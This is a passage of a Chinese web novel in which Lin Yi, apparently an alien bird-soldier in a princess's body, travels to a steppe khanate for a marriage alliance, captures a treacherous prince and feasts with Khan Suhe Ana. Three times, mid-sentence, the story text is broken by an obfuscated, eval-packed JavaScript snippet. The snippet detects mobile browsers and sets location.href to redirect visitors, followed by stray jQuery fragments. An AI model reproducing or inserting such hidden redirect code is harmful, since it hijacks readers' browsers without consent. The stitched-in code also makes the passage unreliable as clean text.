这是弱小生物本能对强大生物的畏惧,浑身上下每一个血肉单位都在催促他尽快逃离,身体已经做好压榨一切潜能换取速度的准备,但大脑没有反应过来。 换句魏朝方士的话来说,这叫灵性。 林一声音低哑而轻柔,“晨安。” “晨……晨什么?”韩小六懵了,看了看周围的夜色,他长得不算难看,面黄而两颊无肉,五官倒有些清秀样子,只是看着很小,林一不至于对这种半大幼崽起什么心思,她这两天见的男人很多了。 林一坐到韩小六身边,捡起草人递给他,又嘎嘎两声,用肢体语言催促他继续编。 大概是夜色比较好,贵人看着也没有明显的不喜,韩小六一头雾水,但还是拿起草编的半人,犹豫了一下,搭了几根青草,拆了草人头冠,慢慢地扎成个简易的草编花篮。 最后几扎快要收尾的时候,林一忽然站起身,韩小六以为是贵人终于不耐烦要走,没来得及松一口气,心里又有些暗暗的失落,毕竟……他这辈子还从没和贵人这样靠近过。 林一几步跳跃式突进,翅膀从背部正要挣脱衣裳撕裂而出,忽然收拢回去,伸长脖子,从喉咙里发出一声堪称放炮的巨吼:“嘎!!!!!” “嘎嘎!!” “嘎呜呜~嘎嘎!!嘎!” …… 接二连三的巨吼不断传来。 整个驻地的人和马都被惊醒了,也惊动了远处奔袭而来的一伙骑兵。 林一揪起韩小六往回走,韩小六维持着一个被吓瘫的状态,呆滞地看着林一,又看了看自己压根沾不到地的双脚。 不是,怎么回事啊! 江骋是枕盔而眠的,第一个提刀出帐。夏季的雪域多蚊虫,许多士卒睡在帐子里,江骋的麾下兵卒很快完成集结,程欣从玉门带来的步兵略有些疏懒,但也很快披甲归队。林一把韩小六扔掉,抓起眼睛都还没睁开的庞十一娘,大声嘎嘎,辅以肢体动作。 庞十一娘一下子就醒了,江骋大步走来,先问巡兵,“发生何事?如何叫嚷这么大声?” 巡兵头领呆住了,啊?那么大声是我能叫出来的?我还以为是夜里惊雷了! 庞十一娘听完林一的嘎嘎——好吧主要是看她比划的样子,有点迟疑,林一催促,“嘎嘎嘎!” 有一伙敌军过来了,骑着大耳朵毛茸生物,每个人骑一匹带一匹,人数不过千,直奔着我们来的,毛茸生物屁股后头挂着很多血糊糊的人头,是非常凶狠的敌人。 “将、将军……”庞十一娘都快要哭了,硬着头皮在林一的催促下开口,“公主说,说有一伙人马在朝着我们逼近,有很多人!” 江骋的视线落在女眷处,萧玲珑黑发垂地,衣裳已经换成侍女的形制,只是外头换了里面没有,从没有系拢的外衣下露出一截没来得及打理好的霜色绸料,她正满脸厌烦看着林一和庞十一娘。 林一伸出五根手指,又伸出另一只手,比划了一下已经集结起来的士卒,庞十一娘虽然瑟缩,但又大着胆子说:“公主说,一千人左右的骑兵……” 程欣来得最晚,打着哈欠刚过来就听见这话,揉了揉眼睛,询问性看向江骋。 江骋一个眼神过去,几名老兵立刻趴伏下来听地面震荡的动静,士卒们原本低低的交头接耳的声响立刻被按下,良久,有人迟疑地站起来,没说话,只是对江骋摇了摇头。 陆陆续续有老兵站起身,只剩下和韩小六熟识的老张叔还在细听,他最后一个站起身,高声说:“少将军,真的有敌军接近,距离我们大概有五六里路,不少于千人骑兵。” 江骋立刻道:“步兵执槊,骑兵上马,备好弓弦,踩灭营火,随我来。” 扎营不是胡乱扎的,江骋在入夜前将营地设定在这处草坡下,令女眷工匠等避在地势最低处,弓兵在内,步兵在外,摆开军阵。等了约有一刻,便有明显的马蹄震动声,骑兵如风,转眼便显露全貌。 夜色下先锋打火把,金斧旗帜飘扬,约莫一千人的骑兵奔袭而来,领头的首领似乎很意外江骋这支送嫁的仪仗队有这样充足的军阵等待着他,停下马蹄,阴鸷面容上露出一个笑容来,大声呼喊了几句。 程欣也在马上,江骋朝他看来,程欣拧起眉头,“他们说是苏赫部的迎亲队伍,为首的人自称是大王子苏赫铎。” “劳太守问询,雪域可有深夜迎亲的习俗?”江骋只是冷冷说了一句,手里弓弦已经拉满,对准领头之人的脖颈,箭簇的寒光在夜色下透着一股淬毒的冰寒。 领头的人又是大声嚷嚷几句,似乎是要避免误会,他让身侧的骑兵们都收起弓弦,自己往前走了几步,又笑又嚷着什么。 程欣和这人对嚷几句,有些无奈地道:“铎王子声称,对未来的妻子很好奇,雪域敬重勇士,也敬重勇士的子孙,请公主出来相见,只要见一面便退兵。” 两军之间的距离颇有分寸,都在弓兵射程之外,而苏赫铎一人策马前进,走到中途又叫嚷起来:“请公主出来相见!堂堂毗伽叶朔的血脉,莫非不敢人前一见吗?” 毗伽是雪域一个大语系的词汇,乃是军功卓著的战将称谓。雪域语系混杂,学起来很不容易,程欣的雪域语只能用来日常交流,不过这话也不必他翻译,这位苏赫铎王子前头嚷嚷那么多句,这一句却是字正腔圆的魏语,还带着洛下音的腔调。 程欣只回了一个音节,就感觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096434|163682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的马头被什么拨开了,一个高挑的身影从他和江骋的马之间大步走了出来。 林一站在当中,双臂张开,倘若对面的苏赫铎养过鸡,大约就能看出这个姿势非常像是护窝的老母鸡。林一冷冷看着对面的敌军,虽然对面都是男性,但别家和自家的能一样吗?虫族可是男性上战场,女性在后方产卵,她难道会怜悯那些虫族的男性吗? 就在林一走出来的那一刻,苏赫铎猛然抬起手腕,袖箭三发对准林一面门发动,箭簇寒光转瞬逼至! 江骋没放下的弓弦陡然抬起,一箭射向苏赫铎,发箭时刻意略微偏移,与此同时叮叮当三声响,林一摸了摸眼皮和脑门,什么玩意儿弹她三下? 来人肩膀被射中,还有些庆幸好运,下一秒就看见一个人影噔噔蹬蹬八步上前,随后天旋地转,他被一股巨力从马上拽离,抓起来砸地三下,马受惊吓向后要退,又被来人按住马头。 “嘎嘎!”一声熟悉的大吼在耳边震响,苏赫铎耳孔流血,人事不知,两方的骑兵都有些懵,尤其是对面的金斧旗帜下,众人面面相觑,一时不知道该作何反应。 先前来时发现魏朝那边军阵齐备,不是好啃的骨头,王子不是说,骗杀了对面的和亲公主,大家一起跑路吗? 怎么现在好像是……王子快死了? 林一牵马提人往回走,江骋在原地没动,程欣下意识地侧开马头把这位勇士让进军阵里,不料林一只是把俘虏扔下。她拍了拍抢来的马,就翻身上马,再次拨开两人,这次她一骑在前,居高临下威慑着对面。 骑在马上,林一算是明白了为什么这里的男性喜欢骑马了,坐得高高的吹着夜风,真的很有感觉! 就在对面想要缓和一下气氛的时候,林一又伸长脖子嘎嘎两声,这次的嘎嘎比较轻,是一种带着疑问的语气。 静夜里,马蹄声由远及近,一张金斧旗帜远远飘扬在夜色里,一个乌眉俊眼的高大雪域将领骂骂咧咧冲阵而来,身后数千骑兵呼喝长啸,裹挟着夏夜的燥热,如同一阵狂风席卷。 “早俺就说,这些蔑儿乞的熊玩意儿,人阴不咋地,公主别叫给抢喽,弟兄们紧着跑!” 转瞬到近前,雪域将领一马当前冲到那伙先来的雪域骑兵面前,一刀当啷挥砍而下,折断金斧大旗,揪着一个盔甲壮汉怒喝:“铁木尔,嫩个鳖养的死哪垓去咧?公主嘞?” 盔甲壮汉被勒得翻白眼,有两个人陪着笑来劝,“铎王子,铎王子,我们铁木尔王子只是好奇公主的模样,绝对没有偷偷来抢公主的意思!您松手,松手……看您急得直说魏人的话,咱们也听不懂啊。” 乌眉俊眼的雪域将领一把扔开盔甲壮汉,这才把视线投向一骑当先的林一,夜色下一双流光溢彩的瞳冰冷地盯着他,像鹰凖盯着猎物的姿态。 将领愣住,周围人还在劝,“铎王子,您是正经来迎亲的,刚才我们王子被那娘们捉去了,可真不愧是流着毗伽叶朔的血,那娘们比母狼还凶……还要劳您去说说情,叫她放了我们王子才是……” 真正的苏赫铎立在马上,不说话也不动,好半晌才呐呐地道:“俺亲娘咧。” 9.第 9 章 三方对峙,但其实气氛不算凝重,魏国这边本就是送嫁而来,迎亲的正主又带着大量兵马,这仗是打不起来的。 程欣起先十分警惕,他虽然没见过苏赫铎,但看得出来前头来的骑兵来者不善,后头的大股骑兵明显是追踪而来,倒也知礼,便放下几分戒心。 苏赫铎跳下马来,把兵器斜插入马鞍后桥,大大咧咧往魏军这里走,高声叫道:“昂,俺没有不好的意思,恁们不要慌!” 程欣没听明白他的意思,听着也不像雪域的语言,只觉得这声像极了叫驴,正在拨弄马耳朵的林一下意识地重复了一句,“昂?” 苏赫铎咧起嘴巴,原本俊朗的五官在这音调的衬托下莫名多了几分憨气,他走近几步,停在林一马前,这次没有用魏人语,而是雪域的语言,声音放得低了些。 “公主,我阿父让我来接亲,带了足足三千轻骑,这路上您横着走!铁木尔也别放了,克烈部正在咱的草场上做客,直接带他爹面前!” 程欣有些意外地看了苏赫铎一眼,轻声而快速地和江骋翻译了一遍。 林一听不懂,苏赫铎也知道林一听不懂,翘首盼着程欣这一看就聪明的老官翻译翻译,却只见他向着那个魏人将军说话,脸上顿时显露几分不满。 江骋深深看了苏赫铎一眼,命人收起兵刃。 这会儿三更过半,没人有睡意,索性相隔了半里距离,各自埋锅造反,吃一顿热乎的。 苏赫铎是从自家部落出发,行短途来迎亲,带的军粮充足,不过大多是些炒米肉干奶疙瘩之类,魏军这里好不到哪里去,在瓜城补给了一回,方便带的只有面饼炒米,一个锅一个锅咕嘟嘟冒粥泡。 林一眼巴巴看着,她这两天吃过馒头,吃过烤羊,也喝过炒米炖的军粮粥,每一顿滋味都很好,现在大伙又开始做饭了,今天会吃些什么呢? 霓裳和羽衣带着几个小侍女很快来到林一坐着的车驾边上,每人手里一个托盘,一荤一素的炖菜,一份冷盘,两种酱料,主食是蒸的桂花馅的甜饼和一小碗稻米饭。 按理这菜不是给林一吃的,可昨天江骋和程欣达成共识,萧玲珑名义上已经不是公主,厨役们精心烹调的餐食总不能端去她面前,这样做得太明显。何况人家苏赫部的王子已经到了,正目光灼灼看着这边呢。 “殿下,这是今天的朝食……”霓裳小心翼翼地铺好毯布,自从出了玉门补给较少,萧玲珑每餐都会发脾气,她喜欢新鲜的吃食,厌恶风干熏干的肉类,偏偏每顿都只有这些。 林一拿起勺子,说了句“晨安”,先喝掉一盅风干鸡汤,把里面铺盘底的鸡肉也捞出来吃,她已经学会吐骨头了,呸呸两下吐骨在地。随后左右开弓抓起桂花蒸饼大嚼,素炒的野菜和干煸火腿片搅合搅合拨进嘴里,最后甜咸两种酱料拌着稻米饭往肚里倒。 全程不到一刻钟,林一连个饱嗝都没有打,擦了一下嘴巴,眼神非常柔软地看着侍女们,再次道:“晨安。” 她把这个词当成一个友好词汇,因为周鹏两次笑着这样对她说晨安,她和别人这样说时,也没有人反应不对,说明这是一个很好的词。 霓裳羽衣对视一眼,很小心地低声询问:“殿下……饱了吗?” 林一没听懂,观望许久的苏赫铎忍不住提着一只刚烤好的羊腿走了过来,近前又有些羞涩,咕噜了几声雪域的语言,把金黄流油的烤羊腿放在林一面前的毯布上,然后转身就走。 “嘎,吃羊……”林一又说了一句她懂的词汇,抓起烤羊腿,咔嚓撕咬下一大块肥嫩羊肉。 香气充盈五窍,林一美滋滋地闭上眼睛,一口接着一口地吃,直到啃干净羊腿肉,才恋恋不舍放下,要是虫族能有这滋味,它们能活成星际天灾?得被追着吃绝! 先前被林一阵擒的巴特铁木尔便是在烤羊残余的香气里逐渐清醒,睁眼就看见林一慢条斯理地放下一根啃得反光的羊腿骨,惊叫出声:“噫!不可能,我明明中了的!” 他说话声音太大,惊动苏赫铎,苏赫铎几步上前一巴掌扇在他脸上,“该死的畜生,你中了个甚么?” 巴特铁木尔被这一嘴巴子打得晕头晕脑,本来耳朵就被震出血来,身上还有箭伤,一时压根听不清苏赫铎说了什么,只含含糊糊地说些“不可能”,“明明射中了”之类的话,众人见他惨状,都忍不住哄笑起来。 韩小六笑得最大声,别人都不笑了他还没收住,被老张叔拉了一把才反应过来,灰扑扑溜进人群。 苏赫部的骑兵也笑,而且是没有任何收敛的笑,相比起来巴特铁木尔带来的那群人——早先虽然竖着苏赫部的金斧大旗,但实际上他们是克烈部的精骑,是跟着大王子巴特铁木尔出来参加苏赫部婚宴的。老可汗蔑儿乞拔都四天前出发前往苏赫部,既是为了参加苏赫阿那汗的婚礼,也是把一年一度的部落集会带到了苏赫部的大平原上。 夏秋之会,适婚男女集会一地,男子进行游猎比武摔角马球之类的比赛,优胜者可以优先邀请心仪女孩“宿夜”。女孩们也会载歌载舞,跳的好的唱的好的,被鼓掌最多的,也会主动邀请男子进帐篷,可以说雪域一年到头,这夏秋集会是最热闹盛大的节日。 这种节日盛会通常只会由大部落举办,小部落没法提供足够的场地是一点,没人会愿意自备干粮赶好几日甚至十几日的路程,只为了参加小型的集会,睡几个不合意的对象。且雪域里有约定俗成的规矩,大部落举办集会期间不得互相攻伐,有违反的,下场往往是雪域除名,保证了繁衍期的绝对安全。 老可汗带的人数多,启程也早,大王子巴特铁木尔本是被安排守家,给他留下的人虽不多,但都是精锐骑兵,老可汗走后,他的心思就活络了。 夏秋集会期间不能攻伐雪域任何部落,巴特铁木尔也不愿意犯这种众怒,他率兵出行,先劫了一通魏人边关村落,在回返时意外发现魏朝的和亲公主车队痕迹,心思更加活络,倘若不留痕迹截杀这一行车队,那好处是不可言说的。 谁说就这么巧,遇上来迎亲的苏赫铎,也不知苏赫部是脑子有毛病还是什么,带了足足三千轻骑兵,接个亲哪用得上这么多人!他那会儿迎静宁公主时,可就三五百兵的排场。 总之糊弄苏赫铎那个憨子是很容易的,巴特铁木尔一通恭维又敬酒,灌得苏赫铎七晕八素,入夜撂下苏赫铎一行,连夜准备奔袭杀穿和亲公主车队,至少要杀了公主本人,他名义上在守家,而苏赫铎出来迎亲,公主死了,这事还能推在他头上? 可事情咋就不按他设想的来? 巴特铁木尔躺在草地上,手捂着箭伤,耳朵嗡嗡地疼,浑身上下没有一处不疼,反复复盘自己的行动,都没感觉自己哪出了问题,最大的问题大概出在魏人公主这里,他明明中了的!夜色太黑看差了?不可能啊! 雪域的白天很快来临,林一把自己的俘虏拎起来拴在车驾上,她吃了一顿美滋滋的饭菜,又很想出去打猎,但大伙明显是急着迁徙,只能把欠账记下来。她昨天缴获的那匹马很高大,雪白毛茸且听话,而且载重能力不错,林一骑上马,再也不肯坐回车驾。 “公主,此去沿河北上,约莫两个白天的路程,你……你要不要坐我们的车驾?” 苏赫铎站在马下,眼神有些飘忽,但还是瞪程欣一眼示意他快翻译,夹着嗓子说:“我们带的是铁勒族的高车,又大又平稳,最适合草原行走,比魏人的车驾中用!” 事实上程欣翻译啥林一都听不懂,但苏赫铎说话时会本能辅助一点肢体语言,林一骑在马上居高临下看着他,又看了看远处车轮很高的大车。 她摇了摇头,骑马很舒服,她很愿意骑马,坐车不舒服,狭窄的空间会让她想起飞舟里度过的十年时光。 源生战士一辈子都是不落地的,百鸟帝国的下属星球无数,没有一个星球会接受源生战士的飞舟停靠,自然公民和源生战士是被严格隔离开的。源生战士只能待在飞舟里,待在太空驻军地里,永远等待指令,永远不停歇奔赴向一个个战场。 真是艹她们鸟爹的蛋。 还是这里的原始文明好,天高地阔,叫鸟欢喜。林一嘎笑一声,捏了捏身下白马的耳朵,学着骑兵们策马前行,苏赫铎追了几步,也翻身上马。 苏赫部的三千骑兵在车队两侧护送随行,这是真正的迎亲排场,克烈部的千余兵马只能灰溜溜跟在后头,不敢做出任何有误会的举动,王子还在人家手上当俘虏呢。 两个白天的路程其实是按苏赫骑兵行军速度算的,魏朝的车队经常走走停停,没那么快,但那是要迁就女眷的情况下,萧玲珑和江骋两人也经常找借口拖延。现在是林一在前面策马,带动整个车队,在第三天的傍晚就到了苏赫部附近的乌古斯大河谷,虽是傍晚到,但清晨时就有快马去部落里报讯。 河谷两岸有许多白色的毡帐,牧羊人赶着牛羊饮水,有晒得黝黑的妇人在河边淘洗,半大的小子抱筐捡牛粪,青葱的草原上一团团的牛羊移动,与蓝天连成一卷画轴。 苏赫铎似乎很喜欢这情景,大声地呼啸起来,远远近近立刻有羊叫声回应他,林一看得稀奇,也跟着大嘎一声。 果然也有羊叫回应。 林一盯着一团团的羊群,嘴巴咧得很大,她认得羊,在烤羊摊看过活羊宰杀,不过不认得牛,但牛看起来更庞大,养这么多,一定也是为了吃哒! 过大河谷抵达仆固平原,这里的地势更加平坦,毡帐更多,远远的就见到一片黑帐连营,有别于那些杂乱的白帐, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15100239|163682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑帐的规模极大,呈半环绕式拱卫最大的黑帐,地面本该长草的地方已经被踏平,人来人往,多为披甲壮士。 苏赫铎又忍不住大声呼喝起来,很快就有人跟着呼喝,穿云裂石般漫卷平原,有鼓声随即响起,肃穆的连营黑帐内外顿时犹如活了过来一般。 此时天色将暗,有侍从添火,有青年男女升起篝火,歌舞声伴随鼓声欢腾,林一看直了眼,她大概似乎明白过来,这是一种很盛大的欢迎仪式。 三声响鼓过后,人群避让开来,一骑黑马在前,身后骑兵打着火把衣袍猎猎跟随其后,有人握拳抵胸口,高呼:“阿那是永不坠落的日!” 一声呼喝炸进人群,犹如热水进了滚油锅,顿时引来无数行礼呼喊,渐渐从纷乱到齐整。 人群高呼不绝,天色彻底暗下,平原上的火光却聚拢起来,当真如同永不坠落的日光。 黑马上的男人发鬓微霜,眉目极深,他的战马高大,人也高大,直到来到林一面前,朝着她伸出一只手,林一下意识地伸手。 苏赫阿那,苏赫部落人心中永不坠落的太阳,原本是想顺势抱起新娘上马,拎了一下,没拎动。他不动声色地策马靠近,黑马白马并行,举起她的手面对部落的民众。 苏赫部此时到场人数至少五六万,一阵一阵的高呼声不肯丝毫停歇。 直到进了黑帐,苏赫阿那下马,林一仍然坐在马上,眼神直勾勾看着他,尤物!尤物! 这样的尤物为什么过来牵着她的手?不知道牵女人的手是非常危险的事吗?难道是想和她嘎嘎嘎吗? 苏赫阿那看着魏人公主年轻的面庞,微微松了一口气。听闻公主只有十五六岁,他很担心是个不懂事的小女孩儿,但看起来还好,年轻而不显得幼嫩,只是大约难免有些不情愿,这点任性对他来说是可以接受的范畴。 程欣在后面入帐,连忙想要圆场,但林一自己从马上跳了下来,两步走到苏赫阿那面前,试探性地伸出手。 苏赫阿那露出一个温和的笑容,牵起林一的手往大帐里走。 黑帐长宽二十米,高六米以上,穹顶圆盖,地上铺着厚实的狼皮毯。两侧有席地的桌案,帐中早已满座,苏赫阿那带着林一坐上大汗座位,这位置非常大,够林一横躺上去,自然也足够容纳两人,林一不客气和苏赫阿那几乎同时坐了下来。 程欣和江骋等被引到准备好的座位上去,程欣坐得比较近,一落座苏赫阿那就笑着说道:“程兄,你我有五年没见了,今日你算是我的媒人,请饮一盏。” 他说的是雪域语言,程欣有些尴尬,苏赫部的少女为他斟满一盏,程欣其实不胜酒力,但在看到酒水时还是忍不住喟叹一声。 五年前出使一遭,相处三日余,这位可汗便能记得他酒量不好,命人斟的是清甜不醉人的葡萄酒。 程欣痛快饮罢,苏赫阿那又对江骋道:“江氏双虎,我亦闻名,后生且饮一杯,我看上国俊彦,真是风姿不凡。” 这话不用程欣翻译,苏赫阿那是自己用魏语说出的,稍微有些停顿,但字字句句低沉有力,入耳清晰,江骋稍微愣了一下,起身举杯相敬。 两杯酒饮完,立刻有少女端来各色菜肴,先是蒸的牛羊肉,金错铁刀摆在盘边,再是烤鹅、马血肠,羊奶酪等常见食物,瓜果糕点摆得丰盛。江骋厌膻,只取食了几片牛肉。 这一天赶路匆忙,林一没吃多少东西,坐在尤物身边,看向满帐宾客,虽然还是没弄明白她怎么就坐这儿了,但被投喂多了,伸手拿起一块羊奶酪往嘴里塞。 苏赫阿那席间和不同的人,说不同的话,说得口舌干燥之际,喝了几杯马奶酒,再端起酒盏时发现自己的桌案几乎空了,仅有一盘堆积起来的各色肉类放在面前,不由深深看了一眼身侧的魏朝公主。 小姑娘家,倒是心宽,也很能吃。 苏赫铎入席不久,憋着一肚子的话想说,等苏赫阿那和宾客说完,这才凑了上来,叽叽咕咕地说了一通雪域语。 “明日宴请拔都可汗再提此事。”苏赫阿那按住长子的肩膀,推他回席。 随后看了眼林一,苏赫阿那喝了一口马奶酒,用低沉的魏语说道:“那是我的长子铎,左席下首是我的次子苏赫忽律,我的三子……” 话到一半,苏赫阿那扫视席间,眉心一跳,但还是一指席末,“苏赫乌苏,他在那。” 林一其实没听懂尤物在说什么,她爱怜地看着苏赫阿那,顺着他手指的方向看去,只见到一个无暇美玉似的青年男子正笑着和人说话,身后有个俊秀的少年人小心翼翼扶着他的木制轮椅。 苏赫阿那笑了一声,“是扶着轮椅的那个。” 林一只盯着他看,这尤物为什么笑得这么诱人,她好想和他嘎嘎嘎。 10.第 10 章 入黑帐者不多,除了程欣江骋这种随行官员,其他人等都不被允许进入黑帐,不过招待非常周到。 霓裳羽衣这种侍女和三十多名陪滕从妾被安排在近帐,苏赫部的少女头戴花环,笑着拉她们入帐,分享甜蜜的奶糕和羊油渣。每个人的餐盘里都放了一块烤得金黄滴油的羊肉,淡白微黄的乳清是非常好的解腻饮品,不多时还有侍从抱进来一筐蒸面饼。 萧玲珑已经两天没吃好,也没睡踏实,大盘的奶糕和油渣羊肉对她来说是再粗劣不过的吃食,别说这些,就是黑帐里的炙肉她也看不上,倘若这时是她坐在苏赫阿那身侧,她大约是一点东西都不肯吃的。 霓裳羽衣到底伺候了萧玲珑数年,见她脸色不好,本能就想要过去服侍,冷不防庞六娘忽然开口,“不是说苏赫可汗快五十了吗?刚才看着可真不像,和咱们公主很般配呢。” 她的咬字很特殊,在“咱们公主”四个字上语气放重,嘴角勾起冷笑,霓裳和羽衣都僵住了,一时不知是过去还是做什么。 萧玲珑看了庞六娘一眼,嗤笑一声,“苏赫部的求亲国书上写着,四十有五了,没准过几年就……” 话没说完,一个苏赫部的少女抓起桌上的铁奶壶掀开盖口,热腾腾的一杯乳清泼在萧玲珑脸上,用不标准的魏语骂道:“俺们听得懂!你再胡咧咧,俺吆喝人进来嘞!” 萧玲珑气得一个字都说不出来,她所熟知的只是贵女间的口舌争斗,庞六娘再刁钻,至多是嘴上尖刻,何曾见过这样的直白侮辱,她以往气得最狠的时候也就是给侍女一巴掌,甚至没见过躲闪。 苏赫部的少女反而狠狠瞪她一眼,凶恶道:“看啥!俺哥是可汗亲卫,信不信俺立马出去吆喝人?” 萧玲珑一边擦脸,一边气得脸色发白,到底不敢闹大,她只盼着快些离开这粗野蛮荒之地。 庞六娘扑哧一声笑了出来,反倒上前去拉住苏赫部少女的手,笑盈盈说:“好了好了,好妹妹,你的脾气可真爽利,叫人喜欢!我听你说的好像是齐鲁方言,你们这地方,还有人专门教你们这个?” “啥是齐鲁?啥是方言?”少女顺手把铁壶放在桌案上,跟着庞六娘去她那里坐,口中还嚷嚷道:“俺就是看不惯有人说俺们大汗,天底下恁是捞不着第二个比他再强的人了!” 庞十一娘轻声细语:“你说的话,就叫齐鲁方言,我听过那边的商人说话。” 少女愣了一下,“俺跟你们不是说一样的话吗?王先生说这就是魏人的话,俺学得最拔尖儿!俺最精嘞!” 庞六娘扑哧扑哧直笑,算是明白了那个铎王子口音哪来的,原来是这雪域部落里还有魏人的先生,也是精怪,不教官话,却教起方言来。 韩小六这些士卒们没有被卸去兵器,所以也不能靠近黑帐,他们被安排在距离黑帐有一段距离的白羊毛毡帐里。白帐明显新建不久,里面只铺了羊皮毯,安置了些桌案,大盘大盘的蒸羊和烤肉管饱。酒水是均分的,一人一壶,是滋味很好的马奶酒。 老张叔很珍惜地小口小口抿着酒,韩小六一直挺巴结这老兵的。老张叔的名字已经没人知道,比他老的兵基本都做下级武官了,平时叫他声老张,其余有叫老张头的,有叫老头儿的,韩小六却一直叔啊叔的叫着,就为了从老兵这儿掏一些真本事来。 韩小六把自己那壶马奶酒递过去,讨好卖乖地道:“老张叔,我不喝酒的,你替我喝了吧,叔你知道的,小六头一回来这雪域,他们怎么……” “怎么和大魏传闻的不一样?”老张叔不客气地接过韩小六的酒壶,也有些感慨,“当兵吃饷,很少有动脑子的了,看你诚心,我给你讲讲?” 韩小六端着一大盘肥滋滋的蒸羊排坐过来听,一边听一边啃羊排。 老张叔回忆起自己从军这些年,喝了口马奶酒,起了个头,“雪域的部落不是像咱们分州设郡,几亩田一口子一辈子就待在那儿了,放牧的是散着过,逢个节庆才聚在一起。经常和咱们打的克烈部,那也不是铁板一块,他是荒年了,克烈部拔都可汗起头,几个部落响应,拉了青壮一起来,跟土匪路霸没什么区别,劫一票就走。其实真打起来不如咱们,哪次不是给他们打退了的!” 韩小六嘴里塞满了,连连点头,含含糊糊地道:“我懂我懂,我们大魏人口多,兵卒多,打起仗来能很快集兵一处,雪域兵一击就溃。但是不保本啊,他们基本是骑兵,一人带两马三马替换,我们的骑兵本来就少,还没有替马,打起来不仅消耗大量粮草在调兵途中,雪域兵一打就散,一散就跑,等我们散了,他们又来了!我们的消耗很大啊!” 老张叔压根没听清这瘦猴小子在咧咧啥,还在语重心长继续解释道:“你来到苏赫部了,亲眼见了,他们其实不参与往年的南下劫掠,但苏赫部为啥这么有钱?这是因为雪域看着是荒,可地广人少,人家十万多人能占一大片盐湖和铁矿山,放在大魏,那都是世家的。世家用来养活自己的私兵,朝廷从农民那儿收个仨瓜俩枣,能养活多少卒子?” “所以啊,人家的兵就硬,你一天三顿吃那点子粮,能比得上人家吃带盐的肉,拿精铁的兵器,还有富余打盔甲的雪域精骑?再大的地,再多的兵也扛不住,所以这就得嫁公主了,朝廷最开始想安抚住克烈部,结果赔了公主又折面子。现在这位公主嫁到苏赫部来,她要是有本事,能叫苏赫部的盐铁和朝廷通商,绕开世家的路子装备听令朝廷的兵马,要是没本事,唉!” 老张叔自认是个见多识广的人,他年轻时是跟着一位儒者游历的,只是后来入了军伍,得罪了纨绔,再也没有升迁的路可走,只能在这儿和个愣头小子叭叭一堆,嗤,他能听懂个啥?倒是肚子快填饱了吧? 韩小六塞了一盘蒸羊肉进肚,看着老张叔醉醺醺趴在桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15104534|163682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 案上,机灵的眼睛骨碌碌看着外面黑帐的方向,啃了一口厚实的麦饼,蘸了一点石蜜。 少年咽下麦饼,喝了一口剩余的马奶酒。 苏赫阿那也考虑过通商的问题,名义上他是主动求亲上国,实际上这是一年前就和他通过气的,上国许嫁玲珑公主,意图打开商路,从他这里开一条盐铁线。 他当时搁置下来了,不过今年气候古怪,苏赫阿那不甚放心,苏赫部有两条主要商路,一条是汪古部以粮换盐加少部分铁器,一条是魏朝穆家商队,纯换盐,前者带来的粮少,后者只愿意贩一些绢帛香料瓷器茶叶等,花里胡哨的商品苏赫阿那不在意,穆家商队的主要货物是茶叶。他想要从朝廷这里弄一些粮食,才答应和亲,雪域不是年年有灾,这属于一次性买卖。 至于和亲公主的喜悲,残忍一些来说,他与魏朝皇帝都不放在心上,苏赫部十二万人外加铁勒族兀鲁族两个附属部族四五万之数,作为可汗,他要保证这些人好年景时在篝火旁歌舞欢笑,雪灾荒旱时家有余粮,能喝上一碗奶渣汤。 少年时举斧造反,青年时游战雪域打下赫赫威名,占了最好的草场矿山和盐湖,如今四十近五,已经是盛年的尾巴了,苏赫阿那开始殚精竭虑,想为他的部民谋一个安定的生活。 可人力有尽时,如何能得呢? 苏赫阿那饮尽杯中酒,看了一眼正在和壮士角抵的长子,和从侍嘀嘀咕咕说着话的二子,鞍前马后服侍魏人先生的幼子,忍不住揉了揉额头。 外界的纷纷扰扰,全都不在林一心里,她吃饱喝足就在观察苏赫阿那,黑发半卷,两鬓微白,尤物!眉浓而烈,灰蓝瞳孔,尤物!高鼻唇薄,骨相极佳,尤物! 往下看胸膛,黑衣贴身,勾勒出饱满起伏的轮廓,腰带仿佛是一种动物皮的质地,染作黑色,那腰那腿,看着就很带劲,尤物! 宴罢,苏赫阿那亲送程欣出帐,又命二王子苏赫忽律送程欣往安排好的帐中安置,其他客人也都一一安置好,返回时看到上国公主歪在可汗大座上,这位置本就有些居高临下的抬高式设计,他自己坐着时没发现,换了个视角看公主高坐,好笑的同时也忍不住赞叹。 上国人物,确有不凡,公主身居高位,看着倒是非常……合适。 